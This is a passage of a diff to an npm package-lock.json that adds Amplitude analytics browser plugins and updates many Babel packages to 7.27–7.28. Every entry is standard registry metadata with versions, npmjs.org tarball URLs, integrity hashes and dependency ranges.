"node_modules/@amplitude/analytics-client-common": { + "version": "2.3.31", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-client-common/-/analytics-client-common-2.3.31.tgz", + "integrity": "sha512-YkhKM78htSVNpRd+ul6MgDekaKseRCnYVLDyBQ0u3vtIt6m5kVtbBMffcrZz7DbOHIsyrUxA8u/RfLo+7xkouA==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-connector": "^1.4.8", + "@amplitude/analytics-core": "^2.19.0", + "@amplitude/analytics-types": "^2.9.2", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/analytics-client-common/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + }, + "node_modules/@amplitude/analytics-connector": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-connector/-/analytics-connector-1.6.4.tgz", + "integrity": "sha512-SpIv0IQMNIq6SH3UqFGiaZyGSc7PBZwRdq7lvP0pBxW8i4Ny+8zwI0pV+VMfMHQwWY3wdIbWw5WQphNjpdq1/Q==", + "license": "MIT" + }, + "node_modules/@amplitude/analytics-core": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-core/-/analytics-core-2.19.0.tgz", + "integrity": "sha512-G1RwMOjkEV1Ccx7vU3CsPFt0w5yNFlVFNpCKaWO7zVbsqA9PRljPXj3fKXPrto6s2vKTXmuGG5NuWM/iSVfBwA==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-connector": "^1.6.4", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/analytics-core/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + }, + "node_modules/@amplitude/analytics-remote-config": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-remote-config/-/analytics-remote-config-0.4.1.tgz", + "integrity": "sha512-BYl6kQ9qjztrCACsugpxO+foLaQIC0aSEzoXEAb/gwOzInmqkyyI+Ub+aWTBih4xgB/lhWlOcidWHAmNiTJTNw==", + "dependencies": { + "@amplitude/analytics-client-common": ">=1 <3", + "@amplitude/analytics-core": ">=1 <3", + "@amplitude/analytics-types": ">=1 <3", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/analytics-remote-config/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + }, + "node_modules/@amplitude/analytics-types": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-types/-/analytics-types-2.9.2.tgz", + "integrity": "sha512-juhTz396dDP/jLJYP9zDOEAZBtJM0JVvP8G10p1OxUDBVwVIprpQL598F9GRQwVFyqV4CEhDmNyAY0HqqU5bhA==", + "license": "MIT" + }, + "node_modules/@amplitude/plugin-autocapture-browser": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-autocapture-browser/-/plugin-autocapture-browser-1.8.1.tgz", + "integrity": "sha512-Wg5Ogi2rW9DM40ZI7iTZuGxm7TXUfkfAZ5yTUrRDy5MIXr+zdv89IpXhj4fsKW9ZO3xc7OFkFklXCWq+QJ580A==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-core": "^2.19.0", + "@amplitude/analytics-remote-config": "^0.6.3", + "rxjs": "^7.8.1", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/plugin-autocapture-browser/node_modules/@amplitude/analytics-remote-config": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-remote-config/-/analytics-remote-config-0.6.3.tgz", + "integrity": "sha512-icE0ogCzdHAtQi9jiOFQUmKrvWQc5YEO6bLZUfQXCT/yTTNXppWnT1zHMKzXa3SMDosfrLwU/X8sro1PTI+jZQ==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-core": ">=1 <2", + "@amplitude/analytics-types": ">=1 <2", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/plugin-autocapture-browser/node_modules/@amplitude/analytics-remote-config/node_modules/@amplitude/analytics-core": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-core/-/analytics-core-1.2.8.tgz", + "integrity": "sha512-Krxpr5uvS3HmmjvpYqPfbMbs2kcZZu09L+6KwQnPiofWRzoXWIM217fRfy6aSD/QrAoPGbZjvtVitw9cB7Cx+A==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-types": "^1.4.0", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/plugin-autocapture-browser/node_modules/@amplitude/analytics-types": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-types/-/analytics-types-1.4.0.tgz", + "integrity": "sha512-RiMPHBqdrJ8ktTqG+Wzj2htnN/PCG9jGZG0SXtTFnWwVvcAJYbYm55/nrP1TTyrx1OlLhvF2VG3lVUP/xGAU8w==", + "license": "MIT" + }, + "node_modules/@amplitude/plugin-autocapture-browser/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@amplitude/plugin-network-capture-browser": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-network-capture-browser/-/plugin-network-capture-browser-1.4.2.tgz", + "integrity": "sha512-Is1uBYfqEeS3bm0mVyqksW1AOTr5B9JWQOinT9WcF4R9c/56CoIXBGcLnRG+4p5p6xAQcmP/tggjc8xsDeI52g==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-core": "^2.19.0", + "rxjs": "^7.8.1", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/plugin-network-capture-browser/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@amplitude/plugin-page-view-tracking-browser": { + "version": "2.3.37", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-page-view-tracking-browser/-/plugin-page-view-tracking-browser-2.3.37.tgz", + "integrity": "sha512-Jikvke4Af8qQMwWcF6LHBF/HYUaAaWxZPcJoFYS1HK0/Gzxsa/T5SIJC35EDEERsHMKRryrNUdchlBY2xFKULw==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-client-common": "^2.3.31", + "@amplitude/analytics-types": "^2.9.2", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/plugin-page-view-tracking-browser/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@amplitude/plugin-web-vitals-browser": { + "version": "0.1.0-frustrationanalytics.0", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-web-vitals-browser/-/plugin-web-vitals-browser-0.1.0-frustrationanalytics.0.tgz", + "integrity": "sha512-xv4sje6/D8r+SgNFTA22FJ5PhtdhN+VSydvs63Frll+qWlyQwaZ1IgDbPyqjzryEkldHRPD7GUaQual+geoIYg==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-core": "^2.14.0-frustrationanalytics.0", + "rxjs": "^7.8.1", + "tslib": "^2.4.1", + "web-vitals": "^5.0.1" + } + }, + "node_modules/@amplitude/plugin-web-vitals-browser/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, "node_modules/@ampproject/remapping": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", @@ -125,45 +322,71 @@ "node": ">=6.0.0" } }, + "node_modules/@asamuzakjp/css-color": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", + "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@csstools/css-calc": "^2.1.3", + "@csstools/css-color-parser": "^3.0.9", + "@csstools/css-parser-algorithms": "^3.0.4", + "@csstools/css-tokenizer": "^3.0.3", + "lru-cache": "^10.4.3" + } + }, + "node_modules/@asamuzakjp/css-color/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, "node_modules/@babel/code-frame": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", - "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", + "license": "MIT", "dependencies": { - "@babel/highlight": "^7.18.6" + "@babel/helper-validator-identifier": "^7.27.1", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/compat-data": { - "version": "7.18.8", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.18.8.tgz", - "integrity": "sha512-HSmX4WZPPK3FUxYp7g2T6EyO8j96HlZJlxmKPSh6KAcqwyDrfx7hKjXpAW/0FhFfTJsR0Yt4lAjLI2coMptIHQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.0.tgz", + "integrity": "sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==", + "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/core": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.18.13.tgz", - "integrity": "sha512-ZisbOvRRusFktksHSG6pjj1CSvkPkcZq/KHD45LAkVP/oiHJkNBZWfpvlLmX8OtHDG8IuzsFlVRWo08w7Qxn0A==", - "dependencies": { - "@ampproject/remapping": "^2.1.0", - "@babel/code-frame": "^7.18.6", - "@babel/generator": "^7.18.13", - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-module-transforms": "^7.18.9", - "@babel/helpers": "^7.18.9", - "@babel/parser": "^7.18.13", - "@babel/template": "^7.18.10", - "@babel/traverse": "^7.18.13", - "@babel/types": "^7.18.13", - "convert-source-map": "^1.7.0", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.0.tgz", + "integrity": "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==", + "license": "MIT", + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-module-transforms": "^7.27.3", + "@babel/helpers": "^7.27.6", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/traverse": "^7.28.0", + "@babel/types": "^7.28.0", + "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", - "json5": "^2.2.1", - "semver": "^6.3.0" + "json5": "^2.2.3", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -173,73 +396,82 @@ "url": "https://opencollective.com/babel" } }, + "node_modules/@babel/core/node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==" + }, "node_modules/@babel/generator": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.18.13.tgz", - "integrity": "sha512-CkPg8ySSPuHTYPJYo7IRALdqyjM9HCbt/3uOBEFbzyGVP6Mn8bwFPB0jX6982JVNBlYzM1nnPkfjuXSOPtQeEQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.0.tgz", + "integrity": "sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==", + "license": "MIT", "dependencies": { - "@babel/types": "^7.18.13", - "@jridgewell/gen-mapping": "^0.3.2", - "jsesc": "^2.5.1" + "@babel/parser": "^7.28.0", + "@babel/types": "^7.28.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-annotate-as-pure": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", - "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz", + "integrity": "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==", + "license": "MIT", "dependencies": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.27.3" }, "engines": { "node": ">=6.9.0" } }, - "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz", - "integrity": "sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw==", - "dev": true, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", + "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", + "license": "MIT", "dependencies": { - "@babel/helper-explode-assignable-expression": "^7.18.6", - "@babel/types": "^7.18.9" + "@babel/compat-data": "^7.27.2", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" } }, - "node_modules/@babel/helper-compilation-targets": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.18.9.tgz", - "integrity": "sha512-tzLCyVmqUiFlcFoAPLA/gL9TeYrF61VLNtb+hvkuVaB5SUjW7jcfrglBIX1vUIoT7CLP3bBlIMeyEsIl2eFQNg==", + "node_modules/@babel/helper-compilation-targets/node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", "dependencies": { - "@babel/compat-data": "^7.18.8", - "@babel/helper-validator-option": "^7.18.6", - "browserslist": "^4.20.2", - "semver": "^6.3.0" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" + "yallist": "^3.0.2" } }, + "node_modules/@babel/helper-compilation-targets/node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + }, "node_modules/@babel/helper-create-class-features-plugin": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.18.9.tgz", - "integrity": "sha512-WvypNAYaVh23QcjpMR24CwZY2Nz6hqdOcFdPbNpV56hL5H6KiFheO7Xm1aPdlLQ7d5emYZX7VZwPp9x3z+2opw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.27.1.tgz", + "integrity": "sha512-QwGAmuvM17btKU5VqXfb+Giw4JcN0hjuufz3DYnpeVDvZLAObloM77bhMXiqry3Iio+Ai4phVRDwl6WU10+r5A==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-member-expression-to-functions": "^7.18.9", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/helper-replace-supers": "^7.18.9", - "@babel/helper-split-export-declaration": "^7.18.6" + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/traverse": "^7.27.1", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -249,13 +481,15 @@ } }, "node_modules/@babel/helper-create-regexp-features-plugin": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.18.6.tgz", - "integrity": "sha512-7LcpH1wnQLGrI+4v+nPp+zUvIkF9x0ddv1Hkdue10tg3gmRnLy97DXh4STiOf1qeIInyD69Qv5kKSZzKD8B/7A==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.27.1.tgz", + "integrity": "sha512-uVDC72XVf8UbrH5qQTc18Agb8emwjTiZrQE11Nv3CuBEZmVvTwwE9CBUEvHku06gQCAyYf8Nv6ja1IN+6LMbxQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "regexpu-core": "^5.1.0" + "@babel/helper-annotate-as-pure": "^7.27.1", + "regexpu-core": "^6.2.0", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -265,9 +499,9 @@ } }, "node_modules/@babel/helper-define-polyfill-provider": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.2.tgz", - "integrity": "sha512-r9QJJ+uDWrd+94BSPcP6/de67ygLtvVy6cK4luE6MOuDsZIdoaPBnfSpbO/+LTifjPckbKXRuI9BB/Z2/y3iTg==", + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz", + "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==", "dependencies": { "@babel/helper-compilation-targets": "^7.17.7", "@babel/helper-plugin-utils": "^7.16.7", @@ -280,120 +514,91 @@ "@babel/core": "^7.4.0-0" } }, - "node_modules/@babel/helper-environment-visitor": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", - "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-explode-assignable-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz", - "integrity": "sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==", - "dev": true, - "dependencies": { - "@babel/types": "^7.18.6" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-function-name": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.18.9.tgz", - "integrity": "sha512-fJgWlZt7nxGksJS9a0XdSaI4XvpExnNIgRP+rVefWh5U7BL8pPuir6SJUmFKRfjWQ51OtWSzwOxhaH/EBWWc0A==", - "dependencies": { - "@babel/template": "^7.18.6", - "@babel/types": "^7.18.9" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-hoist-variables": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", - "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", - "dependencies": { - "@babel/types": "^7.18.6" - }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-member-expression-to-functions": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz", - "integrity": "sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.27.1.tgz", + "integrity": "sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/types": "^7.18.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-imports": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", - "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", + "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", + "license": "MIT", "dependencies": { - "@babel/types": "^7.18.6" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-transforms": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.18.9.tgz", - "integrity": "sha512-KYNqY0ICwfv19b31XzvmI/mfcylOzbLtowkw+mfvGPAQ3kfCnMLYbED3YecL5tPd8nAYFQFAd6JHp2LxZk/J1g==", + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz", + "integrity": "sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==", + "license": "MIT", "dependencies": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-simple-access": "^7.18.6", - "@babel/helper-split-export-declaration": "^7.18.6", - "@babel/helper-validator-identifier": "^7.18.6", - "@babel/template": "^7.18.6", - "@babel/traverse": "^7.18.9", - "@babel/types": "^7.18.9" + "@babel/helper-module-imports": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1", + "@babel/traverse": "^7.27.3" }, "engines": { "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" } }, "node_modules/@babel/helper-optimise-call-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz", - "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz", + "integrity": "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-plugin-utils": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.18.9.tgz", - "integrity": "sha512-aBXPT3bmtLryXaoJLyYPXPlSD4p1ld9aYeR+sJNOZjJJGiOpb+fKfh3NkcCu7J54nUJwCERPBExCCpyCOHnu/w==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", + "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", + "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-remap-async-to-generator": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz", - "integrity": "sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.27.1.tgz", + "integrity": "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-wrap-function": "^7.18.9", - "@babel/types": "^7.18.9" + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-wrap-function": "^7.27.1", + "@babel/traverse": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -403,124 +608,100 @@ } }, "node_modules/@babel/helper-replace-supers": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.18.9.tgz", - "integrity": "sha512-dNsWibVI4lNT6HiuOIBr1oyxo40HvIVmbwPUm3XZ7wMh4k2WxrxTqZwSqw/eEmXDS9np0ey5M2bz9tBmO9c+YQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz", + "integrity": 